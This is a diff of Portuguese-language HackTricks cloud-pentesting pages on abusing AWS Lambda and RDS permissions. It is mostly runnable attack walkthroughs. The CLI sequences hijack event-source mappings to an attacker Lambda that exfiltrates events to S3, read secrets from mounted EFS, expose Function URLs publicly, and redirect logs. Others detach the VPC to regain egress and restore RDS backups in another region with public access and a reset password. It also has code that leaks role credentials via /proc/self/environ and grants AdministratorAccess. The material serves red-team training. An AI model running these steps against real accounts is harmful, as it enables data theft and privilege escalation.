for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Invocar e obter os dados
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
A saída deve conter a listagem do diretório em /mnt/ht e uma pequena prévia de um secret/config file escolhido do EFS.
|
||||
|
||||
## Impacto
|
||||
|
||||
Um atacante com as permissões listadas pode montar arbitrários in-VPC EFS Access Points em funções Lambda da vítima para ler e exfiltrar configurações compartilhadas e secrets armazenados no EFS que antes eram inacessíveis a essa função.
|
||||
|
||||
## Limpeza
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `UpdateEventSourceMapping` para alterar a função Lambda de destino de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original.
|
||||
|
||||
## Impact
|
||||
- Desviar e ler registros em tempo real de streams/filas existentes sem modificar os aplicativos produtores ou o código da vítima.
|
||||
- Possível exfiltração de dados ou adulteração da lógica ao processar o tráfego da vítima em uma função maliciosa.
|
||||
|
||||
## Required permissions
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Capacidade de implantar ou referenciar uma Lambda controlada pelo atacante (`lambda:CreateFunction` ou permissão para usar uma já existente).
|
||||
|
||||
## Steps
|
||||
|
||||
1) Enumerar os event source mappings da função vítima
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) Prepare an attacker-controlled receiver Lambda (mesma região; idealmente VPC/runtime similar)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) Reapontar o mapeamento para a função do atacante
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) Gere um evento na fonte para que o mapeamento dispare (exemplo: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) Verifique se a função do atacante recebe o lote
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) Furtividade opcional
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
Notas:
|
||||
- Para SQS ESMs, a role de execução da Lambda que processa a fila precisa de `sqs:ReceiveMessage`, `sqs:DeleteMessage`, e `sqs:GetQueueAttributes` (managed policy: `AWSLambdaSQSQueueExecutionRole`).
|
||||
- O UUID do ESM permanece o mesmo; somente seu `FunctionArn` é alterado, então produtores e source ARNs permanecem inalterados.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Lambda Function URL Exposição Pública (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Transforme uma Function URL privada do Lambda em um endpoint público não autenticado trocando o Function URL AuthType para NONE e anexando uma resource-based policy que concede lambda:InvokeFunctionUrl para todos. Isso permite invocação anônima de funções internas e pode expor operações sensíveis do backend.
|
||||
|
||||
## Abuso
|
||||
|
||||
- Pré-requisitos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Região: us-east-1
|
||||
|
||||
### Passos
|
||||
1) Garanta que a função tenha uma Function URL (padrão AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Troque a URL para pública (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Adicione uma declaração de policy baseada em recurso para permitir principals não autenticados:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Recupere a URL e invoque sem credenciais:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impacto
|
||||
- A função Lambda passa a ficar acessível anonimamente pela internet.
|
||||
|
||||
### Exemplo de saída (200 — não autenticado)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### Limpeza
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse os controles avançados de logging `lambda:UpdateFunctionConfiguration` para redirecionar os logs de uma função para um log group do CloudWatch Logs escolhido pelo atacante. Isso funciona sem alterar o código ou a execution role (a maioria das roles do Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir segredos/corpos de requisição ou travar com stack traces, você pode coletá-los do novo log group.
|
||||
|
||||
## Required permissions
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (ou contar com triggers existentes)
|
||||
- logs:CreateLogGroup (frequentemente não necessário se a role da função já tiver)
|
||||
- logs:FilterLogEvents (para ler os eventos)
|
||||
|
||||
## Steps
|
||||
1) Crie um log group de destino
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) Redirecionar os logs da função alvo
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
Aguarde até que `LastUpdateStatus` se torne `Successful`:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) Invocar e ler do sink
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## Impacto
|
||||
- Redirecionar sigilosamente todos os logs de aplicação/sistema para um log group que você controla, contornando a expectativa de que os logs só apareçam em `/aws/lambda/<fn>`.
|
||||
- Exfiltrate dados sensíveis impressos pela função ou expostos em erros.
|
||||
|
||||
## Limpeza
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## Notas
|
||||
- Os controles de logging fazem parte do `LoggingConfig` do Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
|
||||
- Por padrão, o Lambda envia logs para `/aws/lambda/<function>`, mas você pode apontar para qualquer nome de log group; o Lambda (ou a função de execução) irá criá-lo se permitido.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` para pin a função a uma versão específica do runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável para auxiliar na exploração e persistência a longo prazo.
|
||||
|
||||
Requisitos: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Exemplo (us-east-1):
|
||||
- Invocar: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Congelar atualizações: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verificar: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opcionalmente fixe (pin) para uma versão específica do runtime extraindo o Runtime Version ARN dos logs INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
## Abusando disso
|
||||
|
||||
- Pré-requisitos: lambda:UpdateFunctionConfiguration na função alvo (e lambda:InvokeFunction para validar), além de permissões para atualizar code/handler se for alterá-los.
|
||||
- Pressupostos: A função está atualmente configurada com VpcConfig apontando para private subnets sem NAT (portanto a saída para a internet está bloqueada).
|
||||
- Região: us-east-1
|
||||
|
||||
### Etapas
|
||||
|
||||
0) Prepare um handler mínimo que comprove que HTTP de saída funciona
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Registre a configuração VPC atual (para restaurar depois, se necessário)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Desanexe a VPC definindo listas vazias
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoque e verifique o acesso de saída
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restaure a configuração VPC original
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impacto
|
||||
- Recupera acesso irrestrito à internet de saída a partir da função, permitindo data exfiltration ou C2 de workloads que foram intencionalmente isolados em private subnets sem NAT.
|
||||
|
||||
### Exemplo de saída (após desanexar VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Limpeza
|
||||
- Se você criou quaisquer alterações temporárias no code/handler, restaure-as.
|
||||
- Opcionalmente, restaure o VpcConfig original salvo em /tmp/orig-vpc.json conforme mostrado acima.
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Pós Exploração
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
|
||||
Se um atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, um DB publicamente acessível a partir do snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -42,7 +42,7 @@ aws rds modify-db-instance \
|
||||
|
||||
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Então, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
|
||||
|
||||
Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**.
|
||||
Se o atacante **não tiver a `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante pode potencialmente usar essas informações para escalar suas permissões ou realizar ações não autorizadas.
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar porções dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia usar essas informações para escalar seus privilégios ou executar ações não autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impacto Potencial**: Acesso a informações sensíveis ou ações não autorizadas usando credenciais vazadas.
|
||||
**Impacto Potencial**: Acesso a informações sensíveis ou execução de ações não autorizadas usando credenciais vazadas.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -70,13 +70,97 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTA]
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante com esta permissão pode **exportar um snapshot de instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
|
||||
Um atacante com essa permissão pode **exportar um snapshot da instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele poderá potencialmente acessar dados sensíveis contidos no snapshot exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
|
||||
|
||||
### Replicação de Backups Automatizados entre Regiões para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Explorar a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados fora de banda em uma Região que os defensores podem não monitorar.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` na Região de destino
|
||||
- `rds:ModifyDBInstance` na Região de destino
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
|
||||
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-los publicamente com credenciais controladas pelo atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI ponta a ponta (substitua os placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
Mais informações sobre lambda em:
|
||||
Mais info sobre lambda em:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -13,10 +13,10 @@ Mais informações sobre lambda em:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
|
||||
Eles podem **criar uma nova função Lambda e atribuir a ela um papel IAM existente**, concedendo à função as permissões associadas a esse papel. O usuário pode então **escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo)**.\
|
||||
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
|
||||
Eles podem **criar uma nova Lambda function e atribuir um IAM role existente**, concedendo à função as permissões associadas a esse role. O usuário pode então **escrever e enviar código para essa Lambda function (por exemplo, com um rev shell)**.\
|
||||
Uma vez que a função esteja configurada, o usuário pode **acionar sua execução** e as ações pretendidas invocando a Lambda function através do AWS API. Essa abordagem permite efetivamente que o usuário execute tarefas indiretamente através da Lambda function, operando com o nível de acesso concedido ao IAM role associado a ela.\\
|
||||
|
||||
Um atacante poderia abusar disso para obter um **rev shell e roubar o token**:
|
||||
Um atacante poderia abusar disso para obter um **rev shell e steal the token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
Você também poderia **abusar das permissões do papel lambda** da própria função lambda.\
|
||||
Se o papel lambda tivesse permissões suficientes, você poderia usá-lo para conceder direitos de administrador a você:
|
||||
Você também poderia **abusar das permissões do role do lambda** a partir da própria função lambda.\
|
||||
Se o role do lambda tiver permissões suficientes, você poderia usá-lo para conceder privilégios de administrador a si mesmo:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Também é possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isoladas em rede** usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda.
|
||||
Também é possível leak as credenciais do role da lambda sem precisar de uma conexão externa. Isso seria útil para **Network isolated Lambdas** usadas em tarefas internas. Se houver security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você leak diretamente as credenciais como a saída da lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda arbitrário especificado.
|
||||
**Impacto Potencial:** Privesc direto para a role de serviço lambda arbitrária especificada.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que mesmo que possa parecer interessante **`lambda:InvokeAsync`** **não** permite por si só **executar `aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction`
|
||||
> Observe que, mesmo que possa parecer interessante, **`lambda:InvokeAsync`** **não** permite por si só **executar `aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Como no cenário anterior, você pode **conceder a si mesmo a permissão `lambda:InvokeFunction`** se você tiver a permissão **`lambda:AddPermission`**
|
||||
Como no cenário anterior, você pode **conceder a si mesmo a permissão `lambda:InvokeFunction`** se tiver a permissão **`lambda:AddPermission`**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda arbitrário especificado.
|
||||
**Impacto potencial:** Privesc direto para a lambda service role arbitrária especificada.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
|
||||
Eles podem criar uma **função Lambda com código malicioso e atribuí-la a um papel IAM existente**.
|
||||
Usuários com **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalate privileges** mesmo sem `lambda:InvokeFunction`.\
|
||||
Eles podem criar uma **Lambda function com código malicioso e atribuir a ela um IAM role existente**.
|
||||
|
||||
Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **ativada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.
|
||||
Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um event source mapping. Essa configuração garante que a Lambda function seja **disparada automaticamente quando um novo item** for inserido na tabela, seja pela ação do usuário ou por outro processo, assim invocando indiretamente a Lambda function e executando o código com as permissões do IAM role passado.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Se o DynamoDB já estiver ativo no ambiente AWS, o usuário **precisa apenas estabelecer o mapeamento da fonte de eventos** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
|
||||
